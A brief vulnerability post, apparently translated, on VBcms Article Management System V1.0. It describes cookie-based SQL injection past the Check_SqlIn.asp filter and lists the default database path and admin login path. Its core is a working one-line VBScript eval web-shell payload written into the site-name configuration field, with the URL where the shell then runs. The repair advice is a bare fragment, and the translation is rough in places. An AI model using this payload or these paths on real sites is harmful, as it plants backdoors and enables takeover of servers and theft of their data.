VBcms Article Management System V 1.0 vulnerability and repair

Author: mer4en7y

When I met this CMS in the afternoon, I looked at the code.

The Check_SqlIn.asp anti-injection Code does not filter out the full injection vulnerability:

1) No cookie method is filtered and cookie injection is performed.

2) default database:
Data/article. mdb

3) shell in the background:
Background address: admin/login. asp

System Configuration --> write in website name: "<script language = VBScript runat = server> eval request (" 1 ") </script>"

One sentence address: http://www.bkjia.com/admin/config. asp

Fix:
Modify default, filter